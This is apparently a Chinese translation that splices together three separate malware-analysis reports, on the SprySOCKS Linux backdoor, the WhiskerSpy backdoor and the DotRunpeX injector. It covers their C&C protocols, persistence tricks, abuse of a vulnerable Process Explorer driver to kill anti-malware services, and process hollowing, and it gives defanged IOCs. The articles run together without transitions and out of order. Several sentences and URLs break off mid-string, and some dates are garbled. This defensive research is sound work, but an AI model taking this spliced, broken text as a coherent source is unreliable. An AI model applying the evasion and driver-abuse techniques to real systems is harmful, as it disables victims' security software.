加載程序進程的名稱由prctl命令設置為“kworker/0:22”。通常,kworker是內核工作線程的佔位符進程。然而,在這種情況下,“kworker”名稱與內核工作線程無關。相反,當用戶通過ps或top等命令列出所有正在運行的任務時,加載程序濫用這個名稱只是為了避免懷疑。

3.png

進程名稱設置為“kworker/0:22”

4.png

受感染設備上的“kworker*”進程列表,突出顯示的進程是分析的加載程序

加載器接受兩個命令行參數,加密的第二階段文件的路徑和自刪除標誌。第二階段使用AES-ECB密碼進行加密,密碼在加載器中進行硬編碼。

5.png

用於解密第二階段的函數

加載器還負責設置持久性。它將自己和加密的第二階段複製到/usr/sbin/目錄,請參閱調試說明“[+] rename loader ok” and “[+] rename server ok”。然後,它使用chkconfig或systemd將加載程序作為服務啟動。如果自刪除標誌設置為“1”,則最初執行的加載程序和加密的階段文件都將被刪除。

SprySOCKS組件在檢查解密的第二階段時,可見的字符串顯示它是用HP Socket項目靜態編譯的,這是一個源自中國的高性能網絡框架。

6.png

可見字符串中的HP Socket引用

初始化過程顯示了一個硬編碼的AES-ECB密碼,用於加密與CC服務器的通信。

7.png

用於CC通信的AES密碼

CC地址和端口也在模塊中進行了硬編碼,但它們沒有加密,並且以純文本形式可見。

8.png

CC服務器和端口配置

CC通信由通過TCP(傳輸控制協議)發送的數據包組成。數據包的標頭由0x12字節組成,後面是base64編碼的AES ECB加密消息。與之前對RedLeaves惡意程序的分析中的表B-2類似,標頭部分包含一些隨機和硬編碼的值,加上有效負載的長度(下圖中用藍色突出顯示)。

9.png

從受害者的設備發送到CC服務器的數據包示例

10.png

0xACACBCBBC的固定值,發生在偏移量為4-7的發送數據包中

原始Trochilus中使用的固定值為0xAFAFBFBF,而在RedLeaves變體中使用的是0xBFD9CBAE。

在解碼和解密消息後,它會顯示諸如“__handler”, “__msgid”, “__serial”和“clientid”之類的關鍵字。其中一些關鍵字可以在Trochilus中找到,但更重要的是,這些消息與RedLeaves通信協議非常相似。

11.png

解碼和AES ECB解密消息

RAT實現了幾個標准後門命令,包括收集系統信息、啟動交互式shell、列出網絡連接、創建SOCKS代理、上傳和下載文件以及其他基本文件操作(列出、刪除、重命名和創建目錄)。下圖顯示了消息ID以及與消息相關的函數的大致描述。

12.png

已處理消息列表及其函數說明

獲取設備信息(CollectInfo)

客戶端信息結構類似於Trochilus使用的原始client_INFO結構,其中一些參數與研究人員分析的惡意程序相同。還值得注意的是參數“cpufrep”,它可能是“cpufreq”(CPU頻率)的拼寫錯誤。

13.png

“ClientInfoCallbacks.h”中的CLIENT_INFO結構,它是Trochilus RAT

在ClientInfoManager.cpp(Trochilus RAT)中,你可以看到CLIENT_INFO結構中參數的內部名稱。請注意,它們中的大多數具有與上圖中列出的參數相同的值。此外,“cn”、“ip”、“groups”、“vercode”、“priv”、“lang”、“mem”、”os“、”x64“和”cpufrep“是相同的。

14.png

“ClientInfoCallbacks.h”中的CLIENT_INFO結構,它是Trochilus RAT

15.png

SprySOCKS的CLIENT_INFO結構中的字段列表

交互式shell當客戶端被請求創建交互式終端時,它首先與偽終端(PTY)子系統(/dev/ptmx)的主終端進行交互。然後,在/dev/pts目錄中創建一個具有唯一設備節點名稱的新從屬PTY。

之後,將啟動一個execve命令,其中包含參數“[diskio]”、指示其不保存會話歷史記錄的環境變量(HISTFILE=/dev/null)以及包含當前用戶名(u)、計算機主機名(h)和工作目錄(w)-(PS1=\\u@\\h:\\w\\$)的提示字符串(PS1)。

16.png

交互式shell的創建

在搜索上述字符串時,可以找到與Linux版本的Derusbi匹配的YARA規則的引用。攻擊者很可能是從其他惡意程序使用的技術中獲得靈感,甚至可能直接訪問了Derusbi源代碼本身。

客戶端ID生成器

環境ID(客戶端ID)由兩個組件組成。第一部分是第一個列出的接口的MAC地址,長度為6字節,惡意程序獲得第一個列出接口,但如果該接口是“環回接口(loopback interface)”,則跳過該接口並考慮下一個接口,當轉換為十六進製字符串時,其長度為12字節。第二部分對應處理器函數,由使用“CPUID_GETFEATURES”參數調用的CPUID指令返回。生成結果的長度為8個字節,當轉換為十六進製字符串時,其長度為16字節。因此,生成的客戶端ID具有14個字節,並且在轉換為十六進製字符串之後,它具有28個字節。

幕後組織

研究人員在2023年6月初觀察到託管在傳播服務器207[.]148[.]75[.]122上的加密SprySOCKS有效負載。該服務器由Earth-Lusca攻擊者運營,還向目標傳播了Cobalt Strike和Linux版本的Winnti的可執行文件。

SprySOCKS有效負載包含版本號(1.3.6)和CC域lt76ux[.]confenos[.]shop。研究人員在VirusTotal上發現其他用戶上傳的另一個SprySOCKS有效負載,版本號為1.1,它連接到CC域2e6veme8xs[.]bmssystemg188[.]us。值得注意的是,同級域rvxzn49eghqj[.]bmssystemg188[.]us被解析為38[.]60[.]199[.]208,與793tggz7mw91[.]itcom666[.]live重疊。 itcom666[.]live域是一個已知的CC域,由Earth Lusca開發。

總結我們在本文介紹了Earth Lusca使用的新後門SprySOCKS,它擴展了該組織的Linux武器庫。最近,攻擊者通過利用已知漏洞,攻擊了受害者面向公眾的服務器。

所以,各類組織應主動管理其攻擊面,最大限度地減少進入其係統的潛在入口點,並降低被成功突破的可能性。企業應定期應用修復程序並更新其工具、軟件和系統,以確保其安全性、功能性和整體性能。

趨勢科技研究人員最近發現了一個新的後門,他們將其歸因於之前報導過的被稱為Earth Kitsune的攻擊者。自2019年以來,“Earth Kitsune”一直在向主要對朝鮮感興趣的個人傳播自主開發的後門變體。在我們過去調查的許多示例中,攻擊者通過使用了水坑攻擊策略,攻擊與朝鮮有關的網站,並將瀏覽器漏洞注入其中。在分析的最新活動中,Earth Kitsune使用了類似的策略,但沒有使用瀏覽器漏洞,而是使用了社會工程。

在2022年底,研究人員發現一個親朝組織的網站被入侵和修改,以傳播惡意軟件。當目標訪問者試圖在網站上觀看視頻時,攻擊者註入的惡意腳本會顯示一條消息提示,通知受害者視頻編解碼器錯誤,以誘使他們下載並安裝木馬編解碼器安裝程序。安裝程序經過修復,加載了一個以前看不見的後門,我們稱之為“WhiskerSpy”。此外,我們還發現攻擊者採用了一種有趣的持久性技術,濫用了Google Chrome的本地消息主機。

1.png

WhiskerSpy感染鏈

在這篇文章中,我們將揭示Earth Kitsune所使用的WhiskerSpy後門的感染鍊和技術細節。

在2022年底,我們注意到一個親朝網站在他們的視頻頁面中註入了惡意腳本。該腳本顯示了一個帶有虛假錯誤消息的彈出窗口,旨在誘使受害者安裝偽裝成高級視頻編解碼器AVC1的惡意包。

2.png

一個被攻破的親朝網站的社會工程示例

這些網頁被配置為只向目標IP地址列表中的訪問者發送惡意腳本(沒有這些IP地址的訪問者不會收到惡意負載)。這種配置使得攻擊難以被發現。幸運的是,我們設法在攻擊者的服務器上找到了一個文本文件,其中包含與目標IP地址匹配的正則表達式。其中包括:

位於中國瀋陽的IP地址子網;

一個位於日本名古屋的特定IP地址;

位於巴西的IP地址子網;

瀋陽和名古屋的IP地址很可能是他們的真正目標。然而,我們發現巴西的目標IP地址大多屬於一個商業VPN服務。我們認為,攻擊者使用此VPN服務來測試其水坑攻擊的部署。它還為我們提供了一個驗證水坑攻擊的機會,通過使用相同的VPN服務來成功接收惡意腳本。

3.png

原始頁面(左側)和帶有註入腳本的頁面(右側)之間的網頁內容比較

該網站加載帶有以下重定向代碼的惡意JavaScript(popup.js):

4.png

嵌入式JavaScript重定向到惡意安裝程序下載

修復安裝程序安裝程序文件是一個MSI安裝程序,它封裝了另一個NSIS安裝程序。攻擊者濫用了合法的安裝程序(windows.10.codec.pack.v2.1.8.setup.exe - e82e1fb775a0181686ad0d345455451c87033cafde3bd84512b6e617ace3338e),並將其修復為包含惡意shellcode。該補丁包括增加的部分數量,從5個增加到6個(圖5中的紅色括號),並增加圖像大小,為惡意shellcode創建額外的空間(圖5中的綠色括號)。

5.png

原始(上)和修復(下)安裝程序,在修復版本中某些參數的大小會增加

6.png

在修復的安裝程序中新添加了.odata部分

修復後的安裝程序的入口點被更改為立即跳轉到shellcode。 shellcode使用簡單密鑰(XOR0x01)加密。

7.png

修復後的安裝程序的入口點跳轉到.odata部分的代碼中

解密後,shellcode運行幾個PowerShell命令來下載惡意軟件的其他階段。這些文件都是可執行文件,從一開始就有幾百個字節,使用單字節密鑰進行異或。

8.png

.odata部分中的Shellcode調用幾個PowerShell命令來下載其他加載器

然後,它恢復原始入口點(總共15個字節),以確保原始安裝程序按預期運行。

9.png

.odata部分中的Shellcode恢復安裝程序的原始入口點

下載的二進製文件:加載器通過OneDrive持久化的路徑(Icon.jpg)這包含路徑\microsoft\onedrive\vcruntime140.dll,這是另一個下載文件(bg.jpg)以vcruntime140.dll的名稱釋放的位置。

持久性和加載器濫用OneDrive側加載漏洞(Bg.jpg)這是vcruntime140.dll (Microsoft C Runtime庫)的修復版本。在本例中,函數memset被修復。從函數(retn)返回的值被一個跳轉到覆蓋(在新添加的.onda部分中)所取代,其中註入的代碼從覆蓋中讀取字節,用一個單字節的密鑰對它們進行異或處理,並將嵌入的有效負載注入到werfautl.exe進程中。覆蓋層中的shellcode是主後門的加載器。

10.png

原始memset函數,注意地址0x18000C7D1處的指令返回(retn)

11.png

修復的memset函數,注意,地址0x18000C7D1的指令是跳轉(jmp),以覆蓋shellcode

該文件被放置在%LOCALAPPDATA%\microsoft\onedrive\目錄中,這是onedrive應用程序的默認用戶安裝位置。此前有報導稱,攻擊者利用OneDrive側加載漏洞,將虛假dll放置到該OneDrive目錄中,以實現在受攻擊計算機中的持久性。

持久性和加載程序使用惡意Google Chrome擴展(Favicon.jpg)這是一個安裝包,包含installer.exe(一個Google Chrome擴展安裝程序)、NativeApp.exe(一個本地消息主機)和Chrome擴展文件(background.js、manifest.json和icon.png)。

NativeApp.exe是一個本地消息主機,使用標準輸入(stdin)和標準輸出(stdout)與Chrome擴展通信。注意擴展清單中的type=' stdio '。

12.png

擴展清單,請注意擴展ID (allowed_origins)路徑導致被釋放的可執行文件和type=標準輸入/輸出

13.png

在Google Chrome擴展選項卡中查看的惡意擴展

Background.js擴展腳本向onStartup消息添加一個監聽器。該偵聽器將“inject”命令發送到本機消息傳遞主機,有效地充當某種獨特的持久性方法,因為惡意有效負載在每次Chrome瀏覽器啟動時都會執行。

14.png

onStartup事件的處理程序(Chrome瀏覽器的啟動)

NativeApp使用JSON格式的消息與Chrome擴展交換數據,並實現三個命令:execute、load和inject。

消息的格式如下:xx xx xx xx {“cmd”:””,”data”:””},其中xx xx xx xx是以字節為單位的消息長度。 “cmd”項必須包含一個已實現的命令值(execute、load和inject),而“data”項可能包含其他參數,如路徑和要執行的程序。

以下是有效JSON消息的示例:

15.png

注意,每個消息的前面必須有一個4字節的小端序長度值。傳遞不可打印字符(0x00,如下圖所示)可以通過使用PowerShell及其Get-Content cmdlet和-raw參數實現,然後通過管道“|”將該內容重定向到NativeApp。如果cmd.bin文件包含如下圖所示的相同內容,NativeApp.exe將運行notepad.exe。

16.png

指示執行notepad.exe的消息,第一個DWORD0x0000003f是以下JSON消息的長度

在當前實現中,inject命令沒有參數。相反,它連接到硬編碼的URL地址http://

主後門加載器(Help.jpg)

這是一個shellcode,加載另一個嵌入式可執行文件——我們命名為WhiskerSpy的主後門負載。

主有效載荷:WhiskerSpy

WhiskerSpy使用橢圓曲線密碼(ECC)在客戶端和服務器之間交換加密密鑰。以下是已實現的後門命令:

交互式shell;

下載文件;

上傳文件;

刪除文件;

列表文件;

截圖;

加載可執行文件並調用其導出;

向進程中註入shellcode;

設備ID被計算為位於系統管理生物系統(SMBIOS)的系統信息表中的16字節UUID的32位Fowler-Noll-Vo 哈希(FNV-1)。有關UUID值的更多詳細信息,請參閱SMBIOS規範第33頁。使用參數“RSMB”調用函數GetSystemFirmwareTable以檢索原始SMBIOS表,然後對其進行解析以定位16字節UUID,該UUID已計算其FNV-1哈希。

對於與命令和控制(CC)服務器的通信,後門生成一個隨機的16字節AES密鑰。它根據該密鑰計算會話ID,作為32位Murmur3哈希。

如上所述,後門使用橢圓曲線密碼(ECC)。我們可以從“.data”部分中存儲的硬編碼值確定橢圓曲線域參數。在下圖中,你可以看到素數(p,黃色)、第一個係數a(紅色)、第二個係數b(綠色)、生成器(基點,藍色)和輔因子(h,橙色)。了解這些參數有助於我們確定“secp256r1”是所使用的曲線,因為我們可以看到列出的大多數常用橢圓曲線的所有重要常數,例如在tinyec項目中。

17.png

“secp256r1”曲線的硬編碼參數

上圖還顯示了一個值(棕色),它表示硬編碼服務器的公鑰。

然後進行一系列計算(橢圓曲線Diffie–Hellman或ECDH密鑰交換):

生成隨機32字節客戶端私鑰(clientPrivKey);

通過將客戶端私鑰乘以曲線生成器來計算客戶端公鑰(clientPubKey=clientPrivKey * curve.g);

通過將客戶端私鑰乘以服務器公鑰來計算sharedKey(sharedKey=clientPrivKey * serverPubKey);

這些計算的結果作為一個64字節二進制blob上傳到CC服務器,其中前32個字節是客戶端公鑰的x坐標,因為常用的共享函數f(P)是取點P的x坐標。後32個字節來自一個隨機的16字節AES密鑰。

CC通信首先註冊設備ID(函數號=3;POST請求“l

18.png

註冊新計算機

隨後上傳帶有客戶端公鑰的x坐標和加密的AES密鑰的64字節文件(函數號=1;POST請求:l

19.png

註冊一個新的會話密鑰並上傳

然後,WhiskerSpy定期向CC服務器請求其應執行的任何任務(函數號=2;POST請求“h

20.png

WhiskerSpy請求執行任務

接收的數據包(文件h

21.png

特殊類型的消息

WhiskerSpy實現標準函數。在分析代碼時,我們注意到一些用於報告任務狀態的狀態代碼,其中接收到的消息的第一個字(兩個字節)是命令ID。注意,在命令包的情況下,所有命令的魔法值都相同,它位於命令ID之前,不顯示在表2中。在活動數據包的情況下,magic值的第一個單詞(2字節)用作命令ID,因此可以在表中找到0x70D值。

22.png

WhiskerSpy的後門命令

類似的後門老版本的WhiskerSpy是32位可執行文件,只實現前面提到的函數的子集(1-5,8,0x70D是相同的,6=退出進程;7=將文件釋放到temp並執行),其餘的函數都不存在。

通信不是通過HTTP協議,而是通過FTP協議。這意味著FTP名稱和密碼必須硬編碼為二進製文件才能進行通信。此方法將當前的受害者數量洩漏為l<machineID><sessionID>和h<machineID<文件,這意味著,任何知道登錄憑據的人都可以看到這些文件。 FTP版本的後門還會檢查調試器是否存在。如果存在,狀態代碼“HELO”將發送到CC服務器。

通過跟踪分析,研究人員將這次攻擊歸咎於Earth Kitsune。在與朝鮮相關的網站上註入惡意腳本,顯示出與該組織以前的活動相似的攻擊手法和受害特徵。此外,在這次攻擊中使用的WhiskerSpy的傳播服務器和CC服務器與我們之前對Earth Kitsune的研究有兩個基礎設施重疊。第一個重疊是WhiskerSpy的CC域londoncity[.]hopto[.]]org和Earth Kitsune的域名rs[.]myftp[.]45[.]76[.]62[.]198。第二個重疊是WhiskerSpy的CC域londoncity[.]hopto[.]org和updategoogle[.]servehttp[.]com,加上傳播服務器microsoftware[.]sytes[.]net的域都解析為172[.]93[.]201[.]172。該IP地址也從Earth Kitsune的agfSpy後門使用的域selectorioi[.]ddns[.]net映射而來。

23.png

基礎設施與Earth Kitsune重疊

總結從技術角度來看,這種威脅非常有趣。它修復合法安裝程序以隱藏其活動,使用鮮為人知的哈希算法來計算計算機ID和會話ID,並使用ECC來保護加密密鑰。此外,所提出的持久性方法也是相當獨特和罕見的。這表明Earth Kitsune不斷在發展他們攻擊能力。

微信截图_20230319161953.png

新版DotRunpeX完整的技術分析為了分析dotRunpeX的新版本,使用了示例SHA256:“44a11146173db0663a23787bffbb120f3955bc33e60e73ecc798953e9b34b2f2”。這個示例是一個用.NET編寫的64位可執行文件“.exe”,受KoiVM保護。版本信息與舊版本的DotRunpeX的情況相同,並且在CPR分析的所有示例中都是一致的。 CPR可以再次注意到ProductName – RunpeX.Stub.Framework 。

33.png

新DotRunpeX版本的信息

在dnSpyEx中打開示例並導出入口點函數_sb()方法後,CPR可以立即確認此新版本的DotRunpeX受到KoiVM虛擬程序的保護。儘管大多數IL代碼都是虛擬化的,但CPR仍然可以發現P/Invoke定義的CreateProcess方法的調用,該方法以某種方式創建一個處於掛鉤狀態的進程——通常用於代碼注入技術“Process Hollowing”。

34.png

創建掛鉤的流程作為Process Hollowing技術的一部分

在進一步研究了.NET元數據(特別是ImplMap表)中剩餘的內容之後,找出了定義為P/Invoke並很可能被這個示例使用的其他方法,CPR得到了比舊版本dotRunpeX更令人興奮的發現。顯然,該示例不僅執行代碼注入,還執行加載和與驅動程序通信。

35.png

ImplMap表——DotRunpeX的新版本

CPR立即註意到的下一個是使用了與舊版本相同的資源名——BIDEN_HARRIS_PERFECT_ASSHOLE——它包含要注入的加密有效負載。資源名稱在CPR分析的所有樣本中都是一致的。很明顯,解密例程隱藏在代碼虛擬化之後,但通過猜測,他們可以得到一個簡單的異或解密例程,它使用了一個表示開發者秘密願望的密碼——I_LOVE_HENTAIU2。

36.png

使用密碼“I_LOVE_HENTAIU2”對.NET資源進行簡單異或解密

不過,由於DotRunpeX仍處於開發階段,並添加了新功能,使用該注入器的最新示例改變了解密方案(不再是簡單的XOR),從而省略了嵌入式有效負載的靜態提取。

如上所述,IL代碼受到KoiVM虛擬程序的保護,因此為了繼續分析,CPR需要想出一些方法來處理受保護的代碼,並在合理的時間內從中獲得一些有意義的東西。首先,CPR想到的是使用一個名為OldRod的公開開源KoiVM去虛擬程序。這個工具完全適用於KoiVM的普通版本。它的開發方式甚至要優於KoiVM原始版本的一些簡單修改(例如VMEntry類中方法的簽名修改或默認#Koi流名稱的修改)。

不過,CPR正在處理一個自定義版本的KoiVM,它以一種不那麼容易被發現的方式修改了保護程序。 KoiVM的原始實現定義了119個用於虛擬化代碼的常量變量。這些常量用於定義寄存器、標誌、操作碼等。這些常量的指定值用於正確執行虛擬化代碼,也是去虛擬化過程所需的。

37.png

KoiVM的原始實現定義了119個常量

在使用普通版本的KoiVM時,在constants類內已編譯的、受保護的示例中,生成的常量以完全相同的順序顯示為字段,並帶有升序標記值。在編譯後的二進製文件中,常量及其對應的標記的順序是OldRod所依賴的。

38.png

OldRod源代碼——常量的自動檢測

儘管OldRod工具是一個非常好用的工具,並且可以在通過配置文件(——config選項)提供自定義常量映射時處理常量的自定義順序,但找出這些常量的正確映射並不像聽起來那麼簡單。有時,當一個常量的順序是手工修改時,通過分析它們在代碼中的使用來正確地映射它們可能並不難。但更糟糕的是,它們以一種非常有效的方式被打亂,使得正確的映射非常困難,以至於認為這種方法無法在合理的時間內獲得一些結果。

39.png

OldRod源代碼——常量的自動檢測

通過精確的代碼分析和通過適當的處理程序映射常量期間的一些困難時刻,CPR還是能夠完全去虛擬化代碼。不過,就算有了完全去虛擬化的代碼,但還是一個不能完全運行的.NET程序集,它仍然被ConfuserEx混淆器混淆了。

下圖是與驅動程序例程相關的完全去虛擬化和去混淆的代碼。

驅動程序裝載/卸載:

40.png

負責加載/卸載驅動程序的虛擬化和非虛擬化代碼

與procexp設備的通信:

41.png

負責與procexp設備通信的去虛擬化和去混淆的代碼

為了講解方便,本文不討論去虛擬化和去混淆的過程。

通常,當不可能在合理的時間內對代碼進行反虛擬化時,CPR仍然沒有其他選擇。第一個選項(處理虛擬化代碼時非常常見的方法)是使用調試器、DBI(動態二進制檢測)、掛鉤和WIN API跟踪進行動態分析。當CPR處理dotnet代碼時,另一種方法可能是使用一些來自.NET內部世界的知識進行PoC。 CPR決定將這兩種方法結合起來,從而開發出了一種非常有效的新工具。

為了獲得更多關於代碼功能的信息,CPR從使用x64dbg的動態分析方法開始。正如CPR之前指出的,包含P/Invoke定義的方法的ImplMap表似乎是在調試器中設置斷點的一個很好的起點。通過自動解析P/Invoke定義的方法並將其轉換為x64dbg腳本,CPR開發了第一個工具,稱為“ImplMap2x64dbg”。

ImplMap2x64dbg使用dnfile模塊正確解析.NET可執行文件及其元數據的Python腳本,此工具創建一個x64dbg腳本,用於在.NET可執行文件的已定義ImplMap (P/Invoke)方法上設置斷點。

42.png

使用' ImplMap2x64dbg '處理DotRunpeX示例將生成x64dbg腳本:

43.png

CPR主要關注某些WIN/NT API,如CreateProcessW、NtWriteVirtualMemory、CreateFileA、CreateFileW、NtLoadDriver、NtQuerySystemInformation和DeviceIoControl,因為它們是與驅動程序和進程注入例程相關的有趣API。

我們能看到的第一個有趣的WIN API調用是CreateFileW,它用於在路徑C:\Users\XXX\AppData\Local\Temp\Иисус.sys中創建一個文件。

44.png

CreateFileW用於創建文件“Иисус.sys”

如果CPR檢查創建的文件Иисус.sys(俄語翻譯為“jesus.sys”),就會立即發現它是一個有效的進程資源管理器驅動程序,版本為16.43。

45.png

創建的文件“Иисус.sys”是有效的進程資源管理器驅動程序,版本16.43

CPR可以看到負責加載此驅動程序的例程NtLoadDriver,其中參數指向DriverServiceName–\Registry\Machine\System\CurrentControlSet\Services\TaskKill,它指定了驅動程序註冊表項的路徑。

46.png

NtLoadDriver用於通過其關聯的註冊表項加載procexp驅動程序

47.png

驅動程序註冊表項“\registry\Machine\System\CurrentControlSet\Services\TaskKill”的內容

掛鉤到進程資源管理器設備如下。

48.png

獲取進程資源管理器設備的句柄

DotRunpeX逃避殺毒軟件技術之一是在進程資源管理器驅動程序(procexp.sys)的幫助下阻止一個硬編碼的反惡意軟件服務列表。使用進程資源管理程序驅動程序背後的原因是,反惡意軟件服務通常作為受保護的進程運行,更具體地說是作為PPL,以避免由惡意活動引起的系統保護失效。有可能濫用procexp驅動程序的易受攻擊版本來關閉受保護進程的對象句柄。一旦關閉了足夠多的句柄,特定的受保護進程將被終止。 CPR分析的所有示例都濫用了該驅動程序的16.43版本,這也是最新的易受該技術攻擊的版本。

為了獲得有關對象句柄的信息,DotRunpeX使用具有指定SystemInformationClass0x10的NT API NtQuerySystemInformation,該SystemInformationClass0x10指向未記錄的結構[SYSTEM_HANDLE_information]。通過這種方式,它可以找到屬於受保護進程的所有句柄。

49.png

NtQuerySystemInformation用於獲取未記錄的結構SYSTEM_HANDLE_INFORMATION

為了處理受保護進程的對象句柄,DotRunpeX使用WIN API DeviceIoControl將IOCTL直接發送給易受攻擊的procexp驅動程序。 IOCTL“2201288708”(IOCTL_CLOSE_HANDLE)在RDX寄存器中,處理此請求的procexp驅動程序例程負責關閉指定進程的某些對象句柄,無論指定進程是否受到保護。一旦關閉了足夠多的對象句柄,反惡意軟件服務就會被終止。

50.png

DeviceIoControl用於發送IOCTL“2201288708”以關閉受保護進程的對象句柄

我們還可以看到寄存器R8 (lpInBuffer)指向關閉對象句柄所需的數據。該數據結構可以定義如下:

51.png

讓我們比較一下DotRunpeX示例使用的procexp驅動程序版本(版本16.43,2021.8.17編譯)和最新版本的proceexp驅動程序(版本17.02,2022.11010編譯)。 CPR可以立即發現添加的修復代碼,該代碼負責禁用關閉受保護進程的對象句柄的可能性。

52.png

16.43與17.02版本進程資源管理器驅動程序之間的比較

這種使用進程資源管理器驅動程序關閉受保護流程的對象句柄的技術可以隨時上網查找到,並且是名為Backstab的開源項目的一部分,進程資源管理器驅動程序17.0以上的版本已經被修復。

在阻止特定的受保護進程後,Process Hollowing將使用WIN API CreateProcessW以掛鉤狀態啟動進程(在本例中為C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe),並直接使用NT API NtWriteVirtualMemory將DotRunpeX的嵌入式有效負載寫入新創建的遠程進程。

事實證明,通過一種專注於本機層和WIN/NT API的某些使用的動態分析方法,CPR對這種可用於自動化和大規模處理的虛擬化dotnet注入器獲得了一些有趣的發現:

每個DotRunpeX示例都有一個要注入的特定惡意軟件家族的嵌入式有效負載;

每個DotRunpeX示例都有一個嵌入式procexp驅動程序來終止受保護的進程;

虛擬化代碼背後很可能隱藏著某種配置,它指定了process Hollowing的目標進程、要阻止的受保護進程列表(反惡意軟件服務),以及其他有趣的可配置內容;

除此之外,CPR可以利用.NET內部世界的知識來實現一些自動化。當談論dotnet時,CPR可以立即想到由.NET運行時管理的代碼。越來越多的事情正在被管理,其中特別重要的就是所謂的“內存管理”。 dotnet中的內存類型有堆棧和.NET堆。在網絡世界中,CPR不需要為內存分配/釋放而煩惱,因為這些例程是由.NET運行時和垃圾收集器處理的。網絡的內存管理不知何故需要知道分配什麼、在哪里以及如何分配;解除分配/釋放內存也是如此。一旦討論了從System.Object(類、對象、字符串……)繼承的引用類型,就會在.NET堆上進行分配。這些對象保存在.NET堆上,為了進行自動管理,它們還附帶了某些元數據信息,如類型、引用和大小。另外就是不再引用的對象的自動內存釋放不會立即發生,垃圾收集器會在固定時間間隔內處理這一問題,可能需要幾分鐘。像“靜態對象”這樣的特定對象會在垃圾收集中倖存下來,並一直存持續到應用程序結束。

這意味著,如果CPR可以枚舉.NET堆上的對象,CPR也可以獲得與它們的類型和大小相關的信息,這些信息可以用於它們的適當重建。創建這種工具可能非常耗時,但幸運的是,CPR已經創建了dotnet進程和崩潰轉儲自省(crash dump introspection)開源庫ClrMD Microsoft.Diagnostics.Runtime,該庫由微軟開發,可以精確地用於從.NET堆重建對象。為什麼這很重要?

是因為在dotRunpeX執行的特定時刻,嵌入的有效負載、procexp驅動程序和某種配置必須以解密狀態出現。它們的內容可能會被分配到.NET堆上分配的某個對象。對於這些,CPR可以期望字節blobbyte[]或字符串。這也意味著,如果CPR能夠控制DotRunpeX的執行,並將其掛鉤,使其處於適合重建對象的狀態,那麼CPR將能夠在解密狀態下獲得所需的一切。

掛鉤和自省DotRunpeX進程的正確時機之一可能是調用用於Process Hollowing的WIN API CreateProcessW,這被認為是正確的假設,CPR為此開發了掛鉤庫“CProcessW_Hook”。

CProcessW_Hook使用minhook框架的本地掛鉤庫(適用於Windows的Minimalistic x86/x64 API掛鉤庫)。下面提供的代碼用於掛鉤WIN API函數CreateProcessW,該函數用於DotRunpeX注入器中的進程創建,該注入器後來用作代碼注入(PE Hollowing)的目標。一旦CreateProcessW函數被掛鉤並在目標進程中被調用,整個進程就會被掛鉤進行自省。某些進程創建會被過濾(powershell、conhost),因為它們可以根據配置為DotRunpeX的其他函數生成(例如修改Windows Defender設置)。 CPR只需要在執行代碼注入之前的狀態下暫停進程(其中所有需要的對像都已在.NET堆上解密)。

53.1.png

53.2.png

CPR可以看到,在函數DllMain()中加載這個庫時,所有的掛鉤邏輯都會立即執行。另一件需要注意的重要事情是,CPR定義了導出函數Decoy(),它永遠不會被執行或調用,但在以後的預注入技術中需要它。

有了掛鉤庫“CProcessW_Hook.dll”,CPR可以繼續創建一個注入器和提取器。這就是下面提供的主要工具——DotRunpeX提取器“Invoke-DotRunpeXextract”。

Invoke-DotRunpeXextractPowerShell模塊,支持從DotRunpeX中提取有效負載、procexp驅動程序和配置。該工具是用PowerShell腳本語言編寫的,使用預注入本機掛鉤庫“CProcessW_Hook.dll”(使用AsmResolver)和從.NET堆重建.NET對象(使用ClrMD)。它使用動態方法進行提取,因此樣本以託管方式執行(僅在VM中使用)。使用PowerShell 7.3+, clrMD v2.2.343001 (net6.0), AsmResolver v5.0.0 (net6.0)。

本文提供了該工具的兩個版本,其中一個是創建為多線程的PowerShell模塊,以獲得最佳性能和使用效果。該工具的第二個版本是一個具有相同功能的單線程腳本,可以用於簡單的調試和故障排除,並且可以更容易地創建具有類似功能的多個代碼段。

PowerShell模塊的整個代碼都以易於理解其核心功能的方式進行了註釋,接下來我們將簡要描述該工具的核心功能,如使用AsmResolver的掛鉤庫的預注入技術以及提取背後的實現邏輯。

首先,該工具使用AsmResolver修改DotRunpeX的PE結構。 AsmResolver以其檢查dotnet可執行文件及其相關元數據的功能而聞名,但它也允許訪問PE的底層結構來修改它們。這些PE結構修改用於實現上述PoC技術,目的是將dll預注入64位的dotnet可執行文件。 CPR正在討論將本機掛鉤庫的新導入條目添加到.NET程序集中。由於DotRunpeX是一個64位可執行文件,而且與32位的dotnet可執行文件不同,64位的dotRunpe

微信截图_20230319161953.png

在過去的幾個月裡,CPR一直在監測DotRunpeX惡意軟件以及它在野外的使用情況。監測顯示,這種新型的網絡注入器仍在不斷發展中。 CPR發現了幾種不同的傳播方法,在發現的所有示例中,DotRunpeX都是第二階段感染的一部分。這種新的威脅被用來傳播許多不同的惡意軟件家族,主要與竊取程序、RAT、加載程序和下載程序有關。

與新版DotRunpeX相關的最早示例的日期為2022.10.17。關於這一威脅的首次公開信息發布日期為2022.10.26年。

本研究的主要主題是對兩個版本的DotRunpeX注入器進行深入分析,對比它們之間的相似之處,並介紹用於分析新版本的DotRunpeX的PoC技術,因為它是由自定義版本的KoiVM .NET protector.虛擬化傳播的。

主要發現Check Point Research(CPR)對DotRunpeX注入器及其與舊版本的關係進行了深入分析;DotRunpeX受到虛擬化(KoiVM的自定義版本)和混淆(ConfuserEx)的保護;

調查顯示,DotRunpeX在野外被用來傳播許多已知的惡意軟件家族;

通常通過網絡釣魚電子郵件作為惡意附件和偽裝成常規程序的網站進行傳播;

CPR確認並詳細說明了惡意使用易受攻擊的進程資源管理器驅動程序來禁用反惡意軟件服務的功能;

本文會介紹幾種PoC技術,這些技術已被批准用於反向工程受保護或虛擬化的dotnet代碼;

DotRunpeX是一種使用Process Hollowing技術在.NET中編寫的新註入器,用於感染各種已知惡意軟件家族的系統。儘管這種注入器是新的,但與舊版本有一些相似之處。此註入器的名稱基於其版本信息,在dotRunpeX的兩個版本中都是一樣的,在CPR分析的所有示例中都是一致的,並且包含ProductName–RunpeX.Stub.Frame。

在CPR監測這一威脅的同時,CPR發現了一些主要由獨立研究人員公開共享的信息,這些信息與DotRunpeX的功能有關,但被錯誤地歸因於另一個著名的惡意軟件家族。

CPR通過對這一威脅連續進行幾個月的監測,CPR獲得了足夠的信息來區分第一階段和第二階段(DotRunpeX)加載程序,但沒有跡象表明它們之間存在關係。在各種下載程序和加密貨幣竊取程序中,CPR發現了這些由dotRunpeX傳播的已知惡意軟件家族:

AgentTesla

ArrowRAT

AsyncRat

AveMaria/WarzoneRAT

BitRAT

Formbook

LgoogLoader

Lokibot

NetWire

PrivateLoader

QuasarRAT
